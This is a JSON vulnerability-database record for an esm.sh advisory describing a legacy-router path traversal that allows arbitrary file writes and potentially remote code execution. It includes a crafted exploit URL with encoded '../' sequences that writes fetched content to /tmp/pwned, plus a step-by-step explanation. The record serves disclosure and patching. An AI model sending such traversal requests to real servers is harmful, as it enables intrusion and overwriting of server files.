{"id":"GHSA-3636-h3vx-6465","revision":"6de9fbbfb2604b3d9f1ef8858b89c76e","records":[{"revision":"6de9fbbfb2604b3d9f1ef8858b89c76e","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-3636-h3vx-6465","aliases":["CVE-2026-44593","GO-2026-5071"],"title":"esm.sh: Legacy Route Path Traversal Can Lead to RCE","description":"### Impact\n- Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for.\n- Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges.\n\n### Exploit\n\nThe legacy router first retrieves a response from `legacyServer`, parses the incoming request path, and ultimately writes the data to storage via `buildStorage.Put`  \n(see <https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291>).\n\nFor a URL such as:\n\n```\nhttp://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned\n```\n\nthe router concatenates the path components without sanitizing them, producing a storage key like:\n\n```\nlegacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned\n```\n\nWhen this key is used, the underlying file system resolves the relative segments and writes the file to `/tmp/pwned`. Thus an attacker can craft a request that writes data to arbitrary locations on the server.\n\n\n### Details\n\n1. **URL Construction**  \n   A crafted request is sent to the server:\n   ```\n   http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned\n   ```\n\n2. **Proxy to Legacy Server**  \n   The request is forwarded to:\n   ```\n   http://legacy.esm.sh/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned\n   ```\n   which resolves to:\n   ```\n   http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md\n   ```\n\n3. **File Retrieval**  \n   The server fetches `foo.md` from the GitHub repository `https://github.com/<attacker>/exp`.\n\n4. **Path Normalisation & Storage**  \n   The storage path derived from the request is:\n   ```\n   legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned\n   ```\n   Normalising this path yields `/tmp/pwned`. The retrieved file content is then written to that location.\n\n5. **Result**  \n   By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution.\n\n\n### Credit Discovery To\nsplitline (@\\_splitline\\_) from DEVCORE Research Team","state":0,"publishedAt":"2026-05-12T22:22:39+00:00","modifiedAt":"2026-06-25T18:56:35.2984686+00:00","affected":[{"ecosystem":"Go","name":"github.com/esm-dev/esm.sh","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20260508100112-1960055e1d53"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/esm-dev/esm.sh/security/advisories/GHSA-3636-h3vx-6465","https://nvd.nist.gov/vuln/detail/CVE-2026-44593","https://github.com/esm-dev/esm.sh","https://github.com/esm-dev/esm.sh/releases/tag/v137_3"],"sourceUrl":"https://github.com/advisories/GHSA-3636-h3vx-6465","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-3636-h3vx-6465","identifiers":["GHSA-3636-h3vx-6465","CVE-2026-44593","GO-2026-5071"]},"retained":false,"historicalAffected":[]}],"coverage":[]}